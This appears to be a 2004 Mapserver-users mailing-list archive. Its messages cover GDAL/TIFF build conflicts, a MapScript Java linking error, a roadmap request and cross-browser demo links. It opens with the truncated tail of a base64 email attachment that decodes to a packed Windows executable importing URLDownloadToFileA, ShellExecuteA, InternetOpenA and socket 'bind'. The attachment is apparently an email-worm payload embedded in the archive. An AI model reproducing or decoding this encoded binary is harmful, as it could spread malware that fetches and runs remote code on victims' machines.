ty6+CbSJSNINsoRq7NKxlQmjm1OV2wquAWssNf95g2wOQYfZblTA0w2/Tdoxq8aCXh6+GQN7 mTC4hPgdW3LIZBS3v4yDQ8PeEBxc2O4gxFqZBrf6uX49XA1eOYsuwVaoQukNpQYwamq1ZE+8 m4JEds8tFlTo6p4BbQmjlbllkWsV2h6dNZrBEXupGhylCMNlIv8OjA37lnSKMp7sANpzdTY7 mwUQ1H4E7mcDV7Hik4yCngRDG1aYk3YqtrRaLLpy2ldtcuCCbHSRiU6JZdghbA+YkxCKwoqz hlvWcNSNnxcjGdQGsEFrigYLsENdDonwcCEAdhlH12y6BbZsgzOviaQ0OnhkgDc1l5kpm7AP mNRFu5iTLaNhj61fnITwAghLtiP3Sq4ds4gr+ZZCHJwCQp4eCMbknqHXohstGnMAO+zRN43C hsBlIRE2G7vrM34iC4QtLFjSA5jUZoJiDww1cb7Hk1IpihyQjKXiDqnrltTd3zH6/KU3MROH DTa33xyhsHBI46MxpRwhXFloYKVOjVSlM5TcW5SyuZyltv/SBRhwHceOF4xTbWux+fpPE4kh FZrqTliDX7uWLKVenlwl3K5OsJUpfByDaG6mAl+JpZScNUzdnH9mj5yAAW0ErZ16mwfFj5Nr jtzXHZ4RiETvrMVs37OYDmupl1Ozhp9MMDR8hKUPpese1jLVWiTd3iyCNlhwjoKMC4xNk7tt MYtAipCBjq4+c2CYrJQhiSAX5HJzb0RIu5mW1R6Pityhtk2sGI8XJDKMXcwVUrk+aI6pvF+1 ihBDF/2Wp1rAYGio72hEwRy5qfReObXaIoWkN5JwqG2xyqd3WrQCH2yD+I6qJ5c2t4+igq0D 8W8Brr+0o7GpvnFWG7UYzbuJvNNoyan/HbRGSBTr+t2+3Yjdld2K7/6FdgGf3Sqp3ZHdg920 C47d+qVNs/3215W1m0mG19Gp0QORg7T929I0n46GZbG1ldel+qEx4lLOT4imgKcdP2twtImD akWXabCRlqnN0jVTl1IA18SvP2OvmcYKEWmnqdeR3PkW+teD17TXUI5dodCqkeGO9az6oNKL gKOw1IXtuYGuUoPAbz76w6Kyju76GGpDW0hxig+m2rzVhNY2U40HCFw91hjM+geuJ1Kzuatg o1vWtvpDDb42sIdtbK1qKciV+kGpJRehq4xpib7gDt1SA1czM4qDQ6o1R80AWgeMVGSOCrBZ tNyai2EsSb1luyX6Ec8RODqJyEaDCjAKvtqE+nMBWYyKXCIACUUCCyWJA/+Xy6k0AVRQAUdl dE1vZHVsZdgWAMtGaU6DQRNYC4D/UHJvY0FkZHKQD//st/9TeXN0ZW1EaRBjdG9yeSRUaWNr Q2/s2xbsdW50DTxGG21hdEEPY23sn1pvbmVJbmYVaQsXV23/hP1pbmRvd3NLbG9iYWxBbAZj 979thwxGHWULTG9hZExpYnJhJs9iyboNYyULJE1huzX3/nBWaWV3T2bCDsxrQnmu71v7dlRv amRlQ2g8FE9wZW7Ta9vBYs8IMzIwctYPzdruAU5leA5SZXRKIYDdza1nZ2lpRHKCa1v3dlN0 BW5nc4lTGEXFcbXdzw0NCEF0H2J1eHWt/YIhE1BvMRCAU9ohgrsLZXAGRxqdbdu29x8JFVQh bSdhGeEX9mSiVW5t1VdhaXRd5gxvrlOADk9iajsU3+0vWQtL9BRuRXge4Xa2dDJyZT1sdXJj mMse9tkJbXBpCnB5CS72WrBuCjEJ/Pow22ZnokfPf3oM4QsfjxBUeXAvQ5FzZUhhEA8M915q G8kJQ3XYwQqFcqgG3ElkFNe6zwISb21tRUzAVQR7B8dGJ5B2Dpt7AzuvD3hy7mn4D9tlR0NV YftvbGhlbHBusl9Y01NXcHNob3QZaAYbtuGwZA1NrnhBDVqXMEPHTXBkEwzaQrLCbx8KP2Eb mmztEr5SaEtz5m6nWVpBCBZnRBkUzOHewlZEdTgQFg1s9mRvRXQgS2V5DnJmc2/ZDt8NVE6Y o52dICFC8B8NyW5Nb5BfYkpEQ7bZmx1KbX1fFgnhYzuMOUZZb+RssI1tgjtJUIMmdu8Ys1lr UVwOL8+4dsPcbAg+xkJrN9vWDGf8VKWDUXKnWN9MSTY0UTEGbU9uSNtah0nUOw5qaQrhaTZH R9ViAFOrNFvDo2y1QkFFbkD22BvuP99ySUEJRHVwCNnGYG4CElSFbQn1p+ncUic5elhVUkxE ppvkumVubEBpHIVoNm2dYH1wyXRmTR07LOw0YWdQb5D/c2ttGWZtlXCkNXp3lRpP7t4caFUb qhxPT9NJkHhJ3W667GvZkgIUdEEOjICVLlVcEfM2Q9twbm5SZWTDL1mcubbuaYxpH1+8ZDtB QKOxnnTA+FWYncwhDGJ5Dkh56WvAUFhjgHMDa2V0v8pbbmK9cmFjYyVTQYHXHHdccnR1MCMZ eTb7Zq52MnoUbAc++S/HYM1QRUwBBADMD5BAnjT/D+AADwELAQUMAERWSFD7DAcC31gNQAtu Fmw5AgQzBwzAztyS0B40EAezvCTeBk/QYdxdIJDLwKADp8T7mq6wAR4uw3TrQpB3F/YF6wQj IB4ucmR0g+0Kr6NGC/sMJ0jZYt2FQAIuJkd1bUqa7nAnOlTATwYbbIFzggDrwHOOwL/fyicb cGQNIcYAAAAAAAAAACAB/wAAYL4loEAAjb7bb///V4PN/+sQkJCQkJCQigZGiAdHAdt1B4se g+78Edty7bgBAAAAAdt1B4seg+78EdsRwAHbc+91CYseg+78Edtz5DHJg+gDcg3B4AiKBkaD 8P90dInFAdt1B4seg+78EdsRyQHbdQeLHoPu/BHbEcl1IEEB23UHix6D7vwR2xHJAdtz73UJ ix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJdffpY////5CLAoPCBIkHg8cE g+kEd/EBz+lM////Xon3uQcAAACKB0cs6DwBd/eAPwB18osHil8EZsHoCMHAEIbEKfiA6+gB 8IkHg8cFidji2Y2+AMAAAIsHCcB0PItfBI2EMKTjAAAB81CDxwj/loDkAACVigdHCMB03In5 V0jyrlX/loTkAAAJwHQHiQODwwTr4f+WiOQAAGHpBGz//wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAgADAAAAIAAAgA4AAABgAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAA AAAAAAAAAAABAAAAAABQAAAApPAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAA eAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAAJDzAAAUAAAAAAAAAAAAAACgwAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA gACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3dwAAAAAAAAAAAAeIiIiIiIcAAAAAAAAA AAAHOIgzOIg3AAAAAAAAAAAAB7ODAAODhwAAAAAAAAAAAAf/MP+wOIcAAAAAAAAAAAAHuA+/ /wOHAAAAAAAAAAAAB4C//7/wNwAAAAAAAAAAAAcP/7//vwMAAAAAAAAAAAAH/7//v/+wAAAA AAAAAAAAB3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAP////////////////////////////////////////////////// /////////////////////////////////////////////4AB//+AAf//gAH//4AB//+AAf// gAH//4AB//+AAf//gAH//4AB//+AAf//////////////////iMMAAAAAAQABACAgEAABAAQA 6AIAAAEAAAAAAAAAAAAAAAAA2PQAAID0AAAAAAAAAAAAAAAAAADl9AAAkPQAAAAAAAAAAAAA AAAAAPL0AACY9AAAAAAAAAAAAAAAAAAA/PQAAKD0AAAAAAAAAAAAAAAAAAAG9QAAqPQAAAAA AAAAAAAAAAAAABL1AACw9AAAAAAAAAAAAAAAAAAAHvUAALj0AAAAAAAAAAAAAAAAAAAp9QAA wPQAAAAAAAAAAAAAAAAAADT1AADI9AAAAAAAAAAAAAAAAAAAQPUAAND0AAAAAAAAAAAAAAAA AAAAAAAAAAAAAEz1AABa9QAAavUAAAAAAAB49QAAAAAAAIb1AAAAAAAAkPUAAAAAAACe9QAA AAAAAK71AAAAAAAAuPUAAAAAAADM9QAAAAAAANj1AAAAAAAA6PUAAAAAAABLRVJORUwzMi5E TEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwAU0hFTEwzMi5kbGwAc2hsd2Fw aS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl eQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhlY3V0ZUEAAABTdHJEdXBBAAAA VVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAYmluZAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAahGAdiwxkaMbY5YuaZKJt6OpW0WNuilwwlQBEpaKF7oWk55gmQJiDJSeJIW0aoxI NgqLWSWNXkOxsB8vbI++j7YEYXU1YoxIcxqutD+gngQmMZVtnY8tcooEPms1WRw1GUMcILht C051b25Ki128DC9zcW0mnm5G ----------qbqodculuhqotzaxcklm-- From dmorissette at dmsolutions.ca Thu May 27 19:57:33 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 27 May 2004 22:57:33 -0400 Subject: [Mapserver-users] Both GDAL and TIFF problems? In-Reply-To: <1085670705.3074.22.camel@localhost.localdomain> References: <1085670705.3074.22.camel@localhost.localdomain> Message-ID: <40B6AA9D.3010700@dmsolutions.ca> Scot Wilcoxon wrote: > I've seen mention of problems with having both GDAL and TIFF defined > during configuration. What are the problems and are there workarounds? > > I'm getting a 500 Internal Server Error from tutorial 1-5, but that is > all the info I have. I see mapserv -v says I have GDAL and TIFF > compiled, but I don't know how to determine if that is the source of my > problem. I see there already is a related Bugzilla entry, so I won't > make another report there. > That's probably the source of the problem. You should recompile --without-tiff. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From sgillies at frii.com Thu May 27 20:49:14 2004 From: sgillies at frii.com (Sean Gillies) Date: Thu, 27 May 2004 21:49:14 -0600 Subject: [Mapserver-users] MapScript and Servlet In-Reply-To: <40B51223.9080009@opengeo.com.br> References: <40B51223.9080009@opengeo.com.br> Message-ID: On May 26, 2004, at 3:54 PM, Uchoa wrote: > Hi, > > I'm working with RH 8, jakarta-tomcat-5.0.19 and MS 4.0.2. I compile > MapScript with Java and generate a mapscript.jar and libmapscript.so > (the last I put in /usr/local/lib). In Eclipse, I import the > mapscript.jar and I try to run the Servlet below to make a test but I > get a error. > > ###### ERROR ###### > > > exception > javax.servlet.ServletException: Servlet execution threw an exception > > > root cause > java.lang.UnsatisfiedLinkError: new_mapObj > edu.umn.gis.mapscript.mapscriptJNI.new_mapObj(Native Method) > edu.umn.gis.mapscript.mapObj.(mapObj.java:296) > HelloServlet.doGet(HelloServlet.java:39) > javax.servlet.http.HttpServlet.service(HttpServlet.java:743) > javax.servlet.http.HttpServlet.service(HttpServlet.java:856) > > > ####### SERVLET TO TEST ######## > > import? edu.umn.gis.mapscript.*; > import java.io.*; > import javax.servlet.http.*; > import javax.servlet.*; > > public class HelloServlet extends HttpServlet { > ? public void doGet (HttpServletRequest req, > ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?HttpServletResponse res) > ??? ??? throws ServletException, IOException > ? { > ??? try > ??? ??? ??? { > ??? ??? ??? ??? System.loadLibrary("mapscript"); > ??? ??? ??? ??? System.err.println("Loaded the Mapscript library"); > ??? ??? ??? } > ??? ??? ??? catch (UnsatisfiedLinkError e) > ??? ??? ??? { > ??? ??? ??? ??? e.printStackTrace(); > ??? ??? ??? } > ? > ? ??? // mapscript > ? ??? mapObj map; > ????? map = new mapObj ("/var/www/html/itasca/demo.map"); > ??? > ??? ??? PrintWriter out = res.getWriter(); > ??? ??? out.println("Hello, Brave new World!"); > ??? ??? out.close(); > ? } > } > > Anyone can help me? > > Mr. Uchoa, I'm not a Java expert, but isn't an UnsatisfiedLinkError a sign that your libmapscript.so is not being found on your path? Are you setting LD_LIBRARY_PATH and passing it to Tomcat? cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From steve.lime at dnr.state.mn.us Thu May 27 21:26:22 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 27 May 2004 23:26:22 -0500 Subject: [Mapserver-users] Roadmap Message-ID: Getting developers to write documentation is like pulling teeth, and I'm probably the worst offender. Like Frank said in a follow up to this message I expect MUM2 to energize folks and we'll get that up-to-date. That said, I'm presenting a short talk that will speculate a bit on the future. I'd appreciate feedback from folks on where they think we should be going. I'll work what I can into that presentation. Thanks- Steve >>> Bart van den Eijnden 05/27/04 2:09 AM >>> Hi list, October 2003 there was a start on the Mapserver roadmap on the wiki: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?Roadmap41Draft1 Is anybody updating this list for 4.3/4.4? Are there planned features already? Best regards, Bart _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Thu May 27 21:37:29 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 27 May 2004 23:37:29 -0500 Subject: [Mapserver-users] A cross-browser mapserver demo Message-ID: Sure. Here are a couple of links: http://www.dnr.state.mn.us/maps/landview_dhtml.html http://maps.dnr.state.mn.us/deli/data_search.html http://maps.dnr.state.mn.us/mapserver_demos/workshop Those all use the CBE library. The following link is for a test component I'm working on (dbox.js) that uses the X DHTML library. Works great in Mozilla, still have a bug with IE: http://maps.dnr.state.mn.us/deli/data_search_test.html I hope to unvail this version of dbox.js at MUM2... Steve >>> "Eduardo Patto Kanegae" 05/26/04 5:59 PM >>> does anybody know a MapServer application using resources from Cross-Browser ? ( www.cross-browser.com ) regards Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br 